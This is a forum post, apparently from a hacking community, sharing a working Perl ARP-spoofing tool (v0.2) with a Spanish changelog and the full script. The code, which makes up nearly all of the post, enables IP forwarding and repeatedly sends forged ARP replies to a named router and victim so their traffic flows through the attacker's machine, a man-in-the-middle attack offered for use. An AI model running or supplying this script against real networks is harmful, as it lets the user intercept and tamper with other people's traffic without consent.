• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Perl Perl ARP-Spoofer v0.2

Status
Not open for further replies.

Nax

Leech
User
Joined
Oct 18, 2011
Messages
275
Reputation
0
Reaction score
115
Points
43
Credits
0
‎13 Years of Service‎
92%
Simple ARP-Spoofer escrito en Perl, recien salido del horno, espero que les guste / sirva :P

v0.2:

[+] IPTables forwarding añadido

[+] Restauración de mac's originales y forwarding

[+] Mas info en ejecucion

Screenshot:

pantallazouc.png


Wireshark dump:

dumpha.png


Code:
>#!/usr/bin/perl

# Perl ARP-Spoofer By Login-Root
# Long life Camacho Tequila
# 2011 shit
# Run it as root

# Net::ARP & Net::Ping requerido
use Net::ARP;
use Net::Ping;

if ($< != 0)
{
print "\n[!] Run it as root\n\n";
exit(0);
}

if(!$ARGV[2])
{
	 print "\n###########################################";
	 print "\n# Perl ARP-Spoofer v0.2 | Login-Root Pwnz #";
        	 print "\n###########################################";
	 print "\n\nUse: perl $0 [iNTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
        	 exit(0);
}

sub finaliza
{
	print "\n\n[!] Restaurando cache ARP de host's remotos\n";

	print "\n[+] $host1 is-at $mac1 (to $host2)";
	Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
	print "\n[+] $host2 is-at $mac2 (to $host1)";
	Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');

	print "\n\n[!] Deshabilitando forwarding...";

	open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error abriendo ip_forward";
	print FORWD "0";
	close(FORWD);

	system("iptables -P FORWARD DROP");

	print "\n[!] Saliendo...\n\n";
	exit(0);
}

($dev, $host1, $host2) = @ARGV;

print "\n[+] Perl ARP-Spoofer v0.2 starting | Login-Root [+]\n";

$lmac = Net::ARP::get_mac($dev);

print "\n[!] MAC Local : $lmac";

my $ping = Net::Ping->new('icmp');
  $ping->ping($host1, 2);
  $ping->ping($host2, 2);

$mac1 = Net::ARP::arp_lookup($dev,$host1);
$mac2 = Net::ARP::arp_lookup($dev,$host2);

print "\n[!] MAC Host 1: $mac1";
print "\n[!] MAC Host 2: $mac2";

print "\n\n[!] Habilitando forwarding...";

open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error abriendo ip_forward";
print FORWD "1";
close(FORWD);

# (thnx averno)
system("iptables -P FORWARD ACCEPT");

print "\n\n[!] Comenzando ARP-Spoofing entre $host1 & $host2, Ctrl-C para finalizar...\n";

while(1)
{
      	$SIG{INT} = \&finaliza;
sleep(1);
print "\n[+] $host1 is-at $lmac (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
print "\n[+] $host2 is-at $lmac (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');

}

__END__
by Login-Root

 
Status
Not open for further replies.
Back
Top